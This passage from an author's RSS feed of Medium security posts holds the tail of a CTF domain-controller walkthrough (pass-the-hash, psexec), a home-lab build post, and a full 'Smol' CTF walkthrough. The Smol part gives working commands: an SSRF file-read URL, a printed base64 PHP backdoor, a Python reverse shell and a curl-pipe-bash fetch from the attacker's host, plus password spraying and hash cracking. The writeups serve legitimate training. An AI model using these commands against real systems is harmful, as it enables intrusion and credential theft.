Remark<br>SMB 192.168.56.121 445 DC01 - - - - - - - - - - - - <br>SMB 192.168.56.121 445 DC01 ADMIN$ Remote Admin<br>SMB 192.168.56.121 445 DC01 backup READ<br>SMB 192.168.56.121 445 DC01 C$ Default share<br>SMB 192.168.56.121 445 DC01 IPC$ Remote IPC<br>SMB 192.168.56.121 445 DC01 NETLOGON READ Logon server share<br>SMB 192.168.56.121 445 DC01 SYSVOL READ Logon server share<br>SMB 192.168.56.121 445 DC01 Users READ</pre><p>This time we have access to the backup share and from it we get a backup file with some hashes.</p><pre>smbclient //$(IP)/backup -U &#39;soupedecode.local\file_svc&#39;</pre><pre>Password for [SOUPEDECODE.LOCAL\file_svc]:<br>Try &quot;help&quot; to get a list of possible commands.<br>smb: \&gt; ls<br>. D 0 Wed Jun 12 02:39:20 2024<br>.. D 0 Wed Jun 12 02:39:20 2024<br>backup_extract.txt A 882 Tue Jun 11 17:39:10 2024<br>8362495 blocks of size 4096. 6678381 blocks available<br>smb: \&gt; get backup_extract.txt<br>getting file \backup_extract.txt of size 882 as backup_extract.txt (287.1 KiloBytes/sec) (average 287.1 KiloBytes/sec)<br>smb: \&gt; exit</pre><p>Let’s clear the file to separate <strong>users </strong>and <strong>hashes</strong>.</p><pre>cat backup_extract.txt | cut -d &#39;:&#39; -f 1 &gt; extracted_users.txt</pre><pre>cat backup_extract.txt | cut -d &#39;:&#39; -f 4 | awk &#39;{print &quot;00000000000000000000000000000000:&quot;$1}&#39; &gt; extracted_hashes.txt</pre><p>Now we can try to see if there is a hash that works</p><pre>netexec smb $(IP) -u extracted_users.txt -H extracted_hashes.txt --no-bruteforce</pre><pre>SMB 192.168.56.121 445 DC01 [*] Windows 6.1 Build 7600 x64 (name:DC01) (domain:soupedecode.local) (signing:True) (SMBv1:False)<br>SMB 192.168.56.121 445 DC01 [-] soupedecode.local\WebServer$:c47b45f5d4df5a494bd19f13e14f7902 STATUS_LOGON_FAILURE<br>SMB 192.168.56.121 445 DC01 [-] soupedecode.local\DatabaseServer$:406b424c7b483a42458bf6f545c936f7 STATUS_LOGON_FAILURE<br>SMB 192.168.56.121 445 DC01 [-] soupedecode.local\CitrixServer$:48fc7eca9af236d7849273990f6c5117 STATUS_LOGON_FAILURE<br>SMB 192.168.56.121 445 DC01 [+] soupedecode.local\FileServer$:9e564...SNIP...500 (Pwn3d!)</pre><p>We got a hash for an account that is <strong>administrator </strong>over the <strong>DC </strong>so now we can just retrieve the flag from the <strong>C$</strong> share or get <strong>RCE</strong>:</p><pre>impacket-psexec &#39;FileServer$&#39;@$(IP) -hashes &#39;aad3b43...SNIP...4ee:9e564...SNIP...500&#39;</pre><pre>Impacket v0.12.0.dev1 - Copyright 2023 Fortra<br>[*] Requesting shares on 192.168.56.121…..<br>[*] Found writable share ADMIN$<br>[*] Uploading file cgCzdnEv.exe<br>[*] Opening SVCManager on 192.168.56.121…..<br>[*] Creating service Fcyl on 192.168.56.121…..<br>[*] Starting service Fcyl…..<br>[!] Press help for extra shell commands<br>Microsoft Windows [Version 6.1.7600]<br>Copyright © 2009 Microsoft Corporation. All rights reserved.<br>C:\Windows\system32&gt; whoami<br>&#39;whoami&#39; is not recognized as an internal or external command,<br>operable program or batch file.<br>C:\Windows\system32&gt; hostname<br>DC01<br>C:\Windows\system32&gt;</pre><h3>Congratulations! We have successfully completed this machine. Thank you for reading!</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cca082a6a5bc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[From Old Desktop to Cloud-Accessible Cyber Lab: My Hacking Playground Journey]]></title>
            <link>https://medium.com/@josemlwdf/from-old-desktop-to-cloud-accessible-cyber-lab-my-hacking-playground-journey-0f0be54b3521?source=rss-1860d262d4c9------2</link>
            <guid isPermaLink="false">https://medium.com/p/0f0be54b3521</guid>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[network-security]]></category>
            <category><![CDATA[homelab]]></category>
            <dc:creator><![CDATA[joseml]]></dc:creator>
            <pubDate>Sat, 19 Apr 2025 20:13:47 GMT</pubDate>
            <atom:updated>2025-04-19T20:13:47.775Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8c5XC1_-48g0KJZWoVm9Cg.jpeg" /></figure><p>It all started with a simple need — <strong>a place to play, learn, and hack legally</strong>. Like many aspiring ethical hackers, I wanted a space where I could spin up vulnerable machines, dive into Capture The Flag (CTF) challenges from platforms like <a href="https://hackmyvm.eu/"><strong>HackMyVM</strong></a>, and break things without consequences.</p><h3>🖥️ The First Steps: Breathing New Life Into Old Hardware</h3><p>I had an old desktop collecting dust in the corner. Not fast, not flashy — but definitely functional. So I thought, <em>“Why not give it a second chance?”</em> I installed <strong>Ubuntu</strong> on it. It felt like laying the foundation stone for what would eventually become my personal hacking fortress.</p><p>With a fresh OS and some motivation, I installed <strong>VirtualBox</strong> as my virtualization platform. That became my playground.</p><p>On VirtualBox, I created:</p><ul><li>A <strong>Kali Linux VM</strong> as my attacking machine</li><li>Several <strong>vulnerable VMs</strong> downloaded from <a href="https://hackmyvm.eu/">HackMyVM </a>and other platforms</li><li>A private <strong>NAT network</strong> to isolate my testing environment from the rest of my home network</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yxCwgcmXaeE6kSiQZQqmZA.png" /><figcaption>Original Setup</figcaption></figure><p>Everything was contained. Safe. Fun. But then… my needs evolved.</p><h3>🕹️ Remote Control: Making It Easier to Manage</h3><p>I wanted more control. More flexibility. I was tired of plugging in a monitor every time I needed to manage the lab. The alternative was SSH or RDP and when not at home i opened a VPN connection on my router. This last thing was the one pushed me the most to find another way since the managed VPN on home routers does not allows you to see their logs. A VPN exposed over internet and you can not see the logs? What could go wrong right?.</p><p>That’s when I discovered <strong>Apache Guacamole</strong> — a remote desktop gateway that lets you access machines via a web browser. No client required. No more VPN to my home network.</p><p>So I installed <strong>Guacamole</strong> on my Ubuntu host.</p><p>Now, from any browser on my LAN, I could:</p><ul><li>Launch and control my <strong>Kali VM</strong></li><li>SSH into my main host to start/stop VMs</li><li>Experiment with different setups without ever leaving the couch</li></ul><p>But I still had a problem: I could only access it from home.</p><h3>🌍 Access from Anywhere: Publishing My Lab Online</h3><p>The next logical step? <strong>Remote access</strong>.</p><p>I opened my router settings and created a <strong>port forwarding rule</strong> to publish my Guacamole instance to the Internet. Now I could reach it from work, a coffee shop, anywhere. It was a major win. But also, a major security risk.</p><p>Guacamole was running <strong>over plain HTTP</strong> — completely exposed. No encryption. No authentication beyond a simple login page. That had to change.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*hb15N-z5NRO_SwOO5i-NNQ.png" /><figcaption>Guacamole Holding the Lab</figcaption></figure><h3>🛡️ The Shield: Introducing a WAF</h3><p>To secure my lab, I installed a <strong>Safeline WAF (Web Application Firewall)</strong> in front of the Guacamole server. This added a powerful layer of protection:</p><ul><li><strong>HTTPS encryption</strong></li><li><strong>Password authentication (before Guacamole)</strong></li><li><strong>OTP (One-Time Password)</strong> login</li><li>A suite of protections against common web attacks</li></ul><p>Now, before even reaching Guacamole, users had to pass through Safeline’s defenses. It was like placing a guard at the castle gate.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TJYSgUQuxcstfdjnBl2_nA.png" /><figcaption>Safeline on the Front Door</figcaption></figure><h3>🌐 Goodbye IPs, Hello Domain</h3><p>One last annoyance remained: remembering my <strong>public IP address</strong>. Sure, I had it bookmarked, but still (it’s just numbers). I needed something easier to remember.</p><p>Thankfully, my ISP offered a <strong>free DNS service</strong>, so I registered a domain and pointed it to my Safeline instance.</p><p>And just like that, my setup was complete.</p><h3>✅ The Final Setup: My Hacking Lab from Anywhere</h3><p>Here’s how it looks now:</p><ol><li><strong>I access a custom subdomain name</strong> (on one of my ISP domains)</li><li>The domain points to my <strong>Safeline WAF</strong>, which requires:</li></ol><ul><li>A password</li><li>An OTP</li></ul><p>3. Once authenticated, I’m taken to my <strong>Guacamole login page</strong></p><p>4. From Guacamole, I:</p><ul><li>Launch <strong>Kali Linux</strong> (with full desktop access)</li><li>Use <strong>SSH to control the Ubuntu host</strong></li><li>Start/stop/add new <strong>vulnerable VMs in VirtualBox</strong></li></ul><p>It’s secure, flexible, and accessible from anywhere. And best of all? I built it from scratch.</p><h3>🔭 Next Step: Adding Monitoring and Alerts</h3><p>As my lab grew, so did the desire to go <strong>beyond access and security</strong>. It was time to <strong>watch</strong> my environment. Not just use it, but understand what’s happening inside it. That meant one thing: <strong>monitoring and alerting</strong>.</p><h3>📊 Implementing a SIEM &amp; EDR</h3><p>I started by installing a <strong>SIEM (Security Information and Event Management)</strong> system. For simplicity and open-source flexibility, I went with <strong>Wazuh</strong> — a well-known platform perfect for small labs.</p><p>At the same time, I deployed an <strong>EDR (Endpoint Detection and Response)</strong> agent — but only on the <strong>main Ubuntu host</strong>. This gave me behavioral monitoring, file integrity checks, and active response mechanisms, without overloading the vulnerable VMs.</p><h3>🔗 Connecting the Dots</h3><p>To make this useful, I integrated:</p><ul><li><strong>Safeline logs</strong></li><li><strong>Guacamole access logs</strong></li><li><strong>EDR alerts</strong></li></ul><p>All of these were configured to forward events to the <strong>SIEM</strong>. I created some <strong>basic rules</strong> to detect suspicious login attempts, access patterns, and changes on the system.</p><h3>🛎️ Real-Time Discord Alerts</h3><p>Then came the cherry on top — <strong>Discord alert integration</strong>.</p><p>I wrote a <strong>Python script</strong> that listens for SIEM alerts and triggers a <strong>Discord webhook</strong>. Anytime a rule is matched (e.g., failed login, WAF bypass attempt), I get a ping right in my security channel.</p><p>Now, I know <strong>instantly</strong> if something fishy is going on.</p><h3>🧠 What’s Next?</h3><p>My lab is now:</p><ul><li>Accessible from anywhere</li><li>Protected by a WAF</li><li>Managed remotely</li><li>Monitored with a SIEM</li><li>Alerting me in real time</li></ul><p>But there’s always something new to try — maybe integrating honeypots, deploying vulnerable web apps, or simulating APT attacks.</p><p>The playground never stops evolving.</p><h3>🔚 Final Thoughts</h3><p>What started as a modest lab on an old PC has turned into a full-fledged, cloud-accessible ethical hacking environment. It’s more than a lab now — it’s a testament to how far curiosity, persistence, and a bit of creativity can take you.</p><p>Whether you’re new to hacking or deep into your journey, building your own lab is one of the best things you can do. And if you make it accessible from anywhere and secure it properly? That’s next level.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0f0be54b3521" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Smol]]></title>
            <link>https://medium.com/@josemlwdf/smol-8c87201f275f?source=rss-1860d262d4c9------2</link>
            <guid isPermaLink="false">https://medium.com/p/8c87201f275f</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[hackmyvm]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[smol]]></category>
            <category><![CDATA[writeup]]></category>
            <dc:creator><![CDATA[joseml]]></dc:creator>
            <pubDate>Mon, 27 Jan 2025 08:39:34 GMT</pubDate>
            <atom:updated>2025-01-27T08:39:34.097Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/357/1*qNR0lLDOwzBz9aU1XTjr2A.png" /></figure><p>The heart of “<strong>Smol</strong>” is a <strong>WordPress </strong>website, a common target due to its extensive plugin ecosystem. The machine showcases a <strong>publicly known vulnerable plugin</strong>, highlighting the risks of neglecting software updates and security patches. Enhancing the learning experience, Smol introduces a <strong>backdoored </strong>plugin, emphasizing the significance of meticulous code inspection before integrating third-party components.</p><h3><strong>ENUMERATION</strong></h3><p>Lets begin as always with an Nmap Scan:</p><pre>target=127.0.0.1; nmap -T4 -p$(nmap -Pn -T4 -n -p- $target | grep &#39;tcp.*open&#39; | cut -d &#39;/&#39; -f 1 | tr &#39;\n&#39; &#39;,&#39; | sed s/,$//) -Pn -n -sVC $target</pre><pre>22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey:<br>| 3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)<br>| 256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)<br>|_ 256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)<br>80/tcp open http Apache httpd 2.4.41 ((Ubuntu))<br>|_http-title: AnotherCTF<br>|_http-generator: WordPress 6.3<br>|_http-server-header: Apache/2.4.41 (Ubuntu)<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><p>The main entry point here will be the website in port <strong>80 </strong>that is using <strong>Wordpress. </strong>The site is redirecting to a <strong>subdomain </strong>so i’ll add it to my <strong>hosts </strong>file in order to have <strong>DNS </strong>resolution.</p><pre>echo &quot;$(IP) www.smol.thm smol.thm&quot; &gt;&gt; /etc/hosts</pre><p>Since the site is using <strong>Wordpress </strong>lets run “<strong>wpscan</strong>”:</p><pre>wpscan - url http://www.smol.thm - enumerate ap,at,cb,u,tt,dbe,m - plugins-detection mixed - api-token LeAEavt…SNIP…4gxUThs - disable-tls-checks</pre><pre>[+] WordPress version 6.3 identified (Latest, released on 2023–08–08).<br>| Found By: Rss Generator (Passive Detection)<br>[+] WordPress theme in use: twentytwentythree<br>| Location: http://www.smol.thm/wp-content/themes/twentytwentythree/<br>| Latest Version: 1.2 (up to date)<br>| [!] Directory listing is enabled<br>| Style URL: http://www.smol.thm/wp-content/themes/twentytwentythree/style.css<br>| Found By: Urls In Homepage (Passive Detection)<br>|<br>| Version: 1.2 (80% confidence)<br>| Found By: Style (Passive Detection)<br>[i] Plugin(s) Identified:<br>[+] akismet<br>| Location: http://www.smol.thm/wp-content/plugins/akismet/<br>| Latest Version: 5.2 (up to date)<br>[+] jsmol2wp<br>| Location: http://www.smol.thm/wp-content/plugins/jsmol2wp/<br>| Latest Version: 1.07 (up to date)<br>| Last Updated: 2018–03–09T10:28:00.000Z<br>| Readme: http://www.smol.thm/wp-content/plugins/jsmol2wp/readme.txt<br>| [!] Directory listing is enabled<br>|<br>| Found By: Urls In Homepage (Passive Detection)<br>| Confirmed By: Known Locations (Aggressive Detection)<br>| - http://www.smol.thm/wp-content/plugins/jsmol2wp/, status: 200<br>|<br>| [!] 2 vulnerabilities identified:<br>|<br>| [!] Title: JSmol2WP &lt;= 1.07 - Unauthenticated Cross-Site Scripting (XSS)<br>| References:<br>| - https://wpscan.com/vulnerability/0bbf1542-6e00-4a68-97f6-48a7790d1c3e<br>| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20462<br>| - https://www.cbiu.cc/2018/12/WordPress%E6%8F%92%E4%BB%B6jsmol2wp%E6%BC%8F%E6%B4%9E/#%E5%8F%8D%E5%B0%84%E6%80%A7XSS<br>|<br>| [!] Title: JSmol2WP &lt;= 1.07 - Unauthenticated Server Side Request Forgery (SSRF)<br>| References:<br>| - https://wpscan.com/vulnerability/ad01dad9-12ff-404f-8718-9ebbd67bf611<br>| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20463<br>| - https://www.cbiu.cc/2018/12/WordPress%E6%8F%92%E4%BB%B6jsmol2wp%E6%BC%8F%E6%B4%9E/#%E5%8F%8D%E5%B0%84%E6%80%A7XSS<br>|<br>| Version: 1.07 (100% confidence)<br>| Found By: Readme - Stable Tag (Aggressive Detection)<br>| - http://www.smol.thm/wp-content/plugins/jsmol2wp/readme.txt<br>| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)<br>| - http://www.smol.thm/wp-content/plugins/jsmol2wp/readme.txt<br>[i] User(s) Identified:<br>[+] Jose Mario Llado Marti<br>| Found By: Rss Generator (Passive Detection)<br>[+] wordpress user<br>| Found By: Rss Generator (Passive Detection)<br>[+] admin<br>| Found By: Wp Json Api (Aggressive Detection)<br>| - http://www.smol.thm/index.php/wp-json/wp/v2/users/?per_page=100&amp;page=1<br>| Confirmed By:<br>| Author Id Brute Forcing - Author Pattern (Aggressive Detection)<br>| Login Error Messages (Aggressive Detection)<br>[+] think<br>| Found By: Wp Json Api (Aggressive Detection)<br>| - http://www.smol.thm/index.php/wp-json/wp/v2/users/?per_page=100&amp;page=1<br>| Confirmed By:<br>| Author Id Brute Forcing - Author Pattern (Aggressive Detection)<br>| Login Error Messages (Aggressive Detection)<br>[+] wp<br>| Found By: Wp Json Api (Aggressive Detection)<br>| - http://www.smol.thm/index.php/wp-json/wp/v2/users/?per_page=100&amp;page=1<br>| Confirmed By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)<br>[+] diego<br>| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)<br>| Confirmed By: Login Error Messages (Aggressive Detection)<br>[+] gege<br>| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)<br>| Confirmed By: Login Error Messages (Aggressive Detection)<br>[+] xavi<br>| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)<br>| Confirmed By: Login Error Messages (Aggressive Detection)</pre><p>We have a long list of data to work with but the most interesting one is:</p><pre>| [!] Title: JSmol2WP &lt;= 1.07 - Unauthenticated Server Side Request Forgery (SSRF)</pre><p>Looking into this one we can find this page:</p><blockquote><a href="https://wpscan.com/vulnerability/9197"><em>https://wpscan.com/vulnerability/9197</em></a></blockquote><h3><strong>EXPLOITATION</strong></h3><p>And the <strong>PoC </strong>worked nicely in this <strong>URL</strong>:</p><blockquote><em>http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&amp;call=getRawDataFromDatabase&amp;query=php://filter/resource=../../../../wp-config.php</em></blockquote><p>From this file we got this information:</p><pre>/** Database username */<br>define( &#39;DB_USER&#39;, &#39;wpuser&#39; );<br>/** Database password */<br>define( &#39;DB_PASSWORD&#39;, &#39;kbLS…SNIP…%G&#39; );</pre><p>From the “<strong>/etc/passwd”</strong> file we got this users with console:</p><pre>root:x:0:0:root:/root:/usr/bin/bash<br>think:x:1000:1000:,,,:/home/think:/bin/bash<br>xavi:x:1001:1001::/home/xavi:/bin/sh<br>diego:x:1002:1002::/home/diego:/bin/sh<br>gege:x:1003:1003::/home/gege:/bin/sh</pre><p>I have looked for <strong>RSA keys</strong> on the user’s home but i have found none but at least we have a <strong>password </strong>now and a <strong>list of users</strong> to perform a <strong>password spray attack</strong> against the <strong>wp-login.php</strong> page.</p><pre>wpscan - password-attack xmlrpc -t 20 -U users.txt -P password.txt - url http://www.smol.thm</pre><pre>[+] Performing password attack on Xmlrpc against 9 user/s<br>[SUCCESS] - wpuser / kbLSF2…SNIP…Z%G<br>Trying xavi / kbLSF…SNIP…*Z%G Time: 00:00:00 &lt;============================================================== &gt; (9 / 10) 90.00% ETA: ??:??:??<br>[!] Valid Combinations Found:<br>| Username: wpuser, Password: kbLS…SNIP…%G</pre><p>We have now a valid <strong>user/password</strong> combination.</p><p>Entering the <strong>Wordpress </strong>instance we do <strong>not have</strong> the <strong>admin </strong>role.</p><p>Looking at the content of the site we find an interesting private page:</p><blockquote><em>http://www.smol.thm/wp-admin/post.php?post=58&amp;action=edit</em></blockquote><p>It says: <strong><em>Webmaster Tasks!!</em></strong></p><p>It seems like regular security tasks and the number one on the list is:</p><pre>1- Check Backdoors: Verify the source code of Hello Dolly plugin as the site&#39;s code revision.</pre><p>With our privileges we can not see the source code of the plugin but we can exploit our <strong>SSRF </strong>to see it.</p><p>Looking into this plugin we can get this page:</p><blockquote><a href="https://core.trac.wordpress.org/ticket/53323"><em>https://core.trac.wordpress.org/ticket/53323</em></a></blockquote><p>They explain this:</p><blockquote><em>Currently Hello Dolly is installed as a single file plugin during a WP core installation. If a user has the older hello.php installed, an update will not over-write the plugin.</em></blockquote><p>So… the plugin code can be found here at the root of the plugins folder:</p><blockquote><em>http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&amp;call=getRawDataFromDatabase&amp;query=php://filter/resource=../../hello.php</em></blockquote><p>On the code we can see this weird line:</p><pre>eval(base64_decode(&#39;CiBpZiAoaXNzZXQoJF9HRVRbIlwxNDNcMTU1XHg2NCJdKSkgeyBzeXN0ZW0oJF9HRVRbIlwxNDNceDZkXDE0NCJdKTsgfSA=&#39;));</pre><p>Let’s decode it from base64</p><pre>echo &#39;CiBpZiAoaXNzZXQoJF9HRVRbIlwxNDNcMTU1XHg2NCJdKSkgeyBzeXN0ZW0oJF9HRVRbIlwxNDNceDZkXDE0NCJdKTsgfSA=&#39; | base64 -d</pre><p>We got:</p><pre>if (isset($_GET[&quot;\143\155\x64&quot;])) { system($_GET[&quot;\143\x6d\144&quot;]); }</pre><p>Let’s convert the <strong>HEX </strong>into <strong>ASCII </strong>to see the name of the parameter it expects to receive:</p><pre>print &#39;\143\155\x64&#39;</pre><pre>cmd</pre><p>So the code is waiting for the “<strong>cmd</strong>” parameter and if it is set it passes it’s value to the system function.</p><p>With this <strong>PoC </strong>we can get that we are <strong>www-data</strong> user just on top of the page:</p><pre>curl http://www.smol.thm/wp-admin/index.php?cmd=id -H &#39;Cookie: ...SNIP...&#39;</pre><pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)</pre><p>Since we have <strong>RCE</strong>, we just have to get a shell now so…</p><p>I have created a file called “<strong>shell.sh</strong>” and put a reverse shell on it:</p><pre>python3 -c &#39;import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;172.25.152.218&quot;,6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(&quot;/bin/sh&quot;)&#39;</pre><p>I have served the shell with a <strong>python3 HTTP server</strong>:</p><pre>python -m http.server 80</pre><pre>Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) …<br>172.25.144.1 - - [18/Aug/2023 12:46:45] &quot;GET /shell.sh HTTP/1.1&quot; 200 -</pre><p>Then i have used this payload to get a reverse shell:</p><pre>curl &quot;http://www.smol.thm/wp-admin/index.php?cmd=curl+172.25.152.218%2Fshell.sh|bash&quot; -H &#39;Cookie: ...SNIP...&#39;</pre><p>On my <strong>nc </strong>i got this:</p><pre>nc -nlvp 6666</pre><pre>Listening on 0.0.0.0 6666<br>Connection received on 172.25.144.1 59863<br>$ id<br>id<br>uid=33(www-data) gid=33(www-data) groups=33(www-data)<br>$ hostname<br>hostname<br>smol<br>$</pre><h3>ROOT</h3><p>I have downloaded “<strong>linpeas.sh</strong>” and runned it.</p><p>As spected we have <strong>mysql </strong>running in localhost <strong>3306</strong>:</p><pre>╔══════════╣ Active Ports<br>╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports<br>tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -<br>tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -<br>tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -<br>tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -<br>tcp6 0 0 :::80 :::* LISTEN -<br>tcp6 0 0 :::22 :::* LISTEN -</pre><p>There is nothing else obviously interesting in the output so let’s look at the <strong>mysql </strong>server.</p><p>I got the <strong>hashes </strong>from the <strong>Wordpress </strong>database like:</p><pre>mysql -u wpuser -p<br><br>use wordpress;<br>select concat(user_login,&#39;:&#39;,user_pass) from wp_users;<br>+ - - - - - - - - - - - - - - - - - - - - - -+<br>| concat(user_login,&#39;:&#39;,user_pass) |<br>+ - - - - - - - - - - - - - - - - - - - - - -+<br>| admin:$P$Bvi8BHb84pjY/Kw0RWsOXUXsQ1aACL1 |<br>| wpuser:$P$BfZjtJpXL9gBwzNjLMTnTvBVh2Z1/E. |<br>| think:$P$B0jO/cdGOCZhlAJfPSqV2gVi2pb7Vd/ |<br>| gege:$P$BsIY1w5krnhP3WvURMts0/M4FwiG0m1 |<br>| diego:$P$BqoQvFixsxjL1lQnWXH2atVpwAkFsm1 |<br>| xavi:$P$BvcalhsCfVILp2SgttADny40mqJZCN/ |<br>+ - - - - - - - - - - - - - - - - - - - - - -+<br>6 rows in set (0.01 sec)</pre><p>We could crack all the hashes but <strong>diego </strong>is the only account with the <strong>email</strong> <strong>@local:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*kBQtno1DgMQicxdr" /></figure><pre>john -w=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hashes.txt</pre><pre>Using default input encoding: UTF-8<br>Loaded 1 password hash (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3])<br>Cost 1 (iteration count) is 8192 for all loaded hashes<br>Will run 16 OpenMP threads<br>Press &#39;q&#39; or Ctrl-C to abort, almost any other key for status<br>san…SNIP…ornia (diego)<br>1g 0:00:00:12 DONE (2024–05–02 10:41) 0.08244g/s 108646p/s 108646c/s 108646C/s sandr1ta..sammyak<br>Use the &quot; - show - format=phpass&quot; options to display all of the cracked passwords reliably<br>Session completed.</pre><p>Using <strong>su </strong>command we have moved laterally to the user <strong>diego </strong>and got the user flag.</p><pre>www-data@smol:/tmp$ su diego<br>Password:<br>\[\e[32m\]\u@\h\[\e[0m\]:\[\e[34m\]\w\[\e[0m\]$ bash<br>diego@smol:/tmp$ id<br>uid=1002(diego) gid=1002(diego) groups=1002(diego),1005(internal)<br>diego@smol:/tmp$</pre><p>On the “<strong>/home</strong>” folder we can identify some files like:</p><pre>ls -lahR /home<br>-rwxr-x - - 1 root gege 31M Aug 16 20:42 wordpress.old.zip<br>-rwxr-xr-x 1 think think 2.6K Jun 21 11:07 id_rsa</pre><p>So now we have the private <strong>rsa_key </strong>for the user <strong>think</strong>.</p><p>Now we are user think:</p><pre>ssh think@$(IP) -i think_rsa</pre><p>Looking at the <strong>users groups</strong>:</p><pre>uid=1000(think) gid=1000(think) groups=1000(think),1004(dev),1005(internal)<br>uid=1003(gege) gid=1003(gege) groups=1003(gege),1004(dev),1005(internal)</pre><p>Our user <strong>think </strong>and <strong>gege </strong>belongs to the group <strong>dev </strong>so maybe there is something juicy shared between them.</p><p>Linpeas got nothing interesting but following the instructions it provides for the checks it does not do automatically like:</p><pre>╔══════════╣ Do not forget to test &#39;su&#39; as any other user with shell: without password and with their names as password (I can&#39;t do it…)<br>╔══════════╣ Do not forget to execute &#39;sudo -l&#39; without password or with valid password (if you know it)!!</pre><p>Let’s try the second and most used option:</p><pre>sudo -l<br>[sudo] password for think:</pre><p>We do not know the <strong>password </strong>for this user but trying <strong>su </strong>against the other users with console…</p><pre>su gege<br>gege@smol:/home/think$ id<br>uid=1003(gege) gid=1003(gege) groups=1003(gege),1004(dev),1005(internal)</pre><p>So we are now user <strong>gege</strong>. Let’s investigate the <strong>Wordpress backup </strong>file in it’s home folder.</p><p>The file asks for a password so let’s use <strong>john the ripper</strong>.</p><p>I have created a hash for the <strong>zip </strong>file like:</p><pre>zip2john wordpress.old.zip &gt; wp_hash.txt</pre><pre>john -w=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt wp_hash.txt</pre><pre>Using default input encoding: UTF-8<br>Loaded 1 password hash (PKZIP [32/64])<br>Will run 8 OpenMP threads<br>Press &#39;q&#39; or Ctrl-C to abort, almost any other key for status<br>her...SNIP...com (wordpress.old.zip)<br>1g 0:00:00:03 DONE (2023–08–18 14:42) 0.2512g/s 1918Kp/s 1918Kc/s 1918KC/s hessdorfer..hellome19<br>Use the &quot; - show&quot; option to display all of the cracked passwords reliably<br>Session completed.</pre><p>In the “<strong>wp-config.php</strong>” file we discovered the credentials for the user <strong>xavi</strong> like:</p><pre>unzip wordpress.old.zip</pre><pre>/** Database username */<br>define( &#39;DB_USER&#39;, &#39;xavi&#39; );<br>/** Database password */<br>define( &#39;DB_PASSWORD&#39;, &#39;P@…SNIP…i@&#39; );</pre><p>Let’s change the user then:</p><pre>gege@smol:/home/think$ su xavi<br>Password:<br>xavi@smol:/home/think$ id<br>uid=1001(xavi) gid=1001(xavi) groups=1001(xavi),1005(internal)</pre><p>So we are now the user <strong>xavi </strong>and we have <strong>sudo </strong>capabilities:</p><pre>xavi@smol:/home/think$ sudo -l<br>[sudo] password for xavi:<br>Matching Defaults entries for xavi on smol:<br>env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin<br>User xavi may run the following commands on smol:<br>(ALL : ALL) ALL</pre><p>We execute the command “<strong>sudo su</strong>”:</p><pre>xavi@smol:/home/think$ sudo su<br>Password:<br>root@smol:/home/think# id<br>uid=0(root) gid=0(root) groups=0(root)<br>root@smol:/home/think#</pre><h3>Congratulations! We have successfully completed this machine. Thank you for reading!</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8c87201f275f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[GreenHorn]]></title>
            <link>https://medium.com/@josemlwdf/greenhorn-20cd8e9d6b39?source=rss-1860d262d4c9------2</link>
            <guid isPermaLink="false">https://medium.com/p/20cd8e9d6b39</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[greenhorn]]></category>
            <category><![CDATA[htb]]></category>
            <dc:creator><![CDATA[joseml]]></dc:creator>
            <pubDate>Sun, 22 Dec 2024 15:17:29 GMT</pubDate>
            <atom:updated>2024-12-22T15:17:29.545Z</atom:updated>
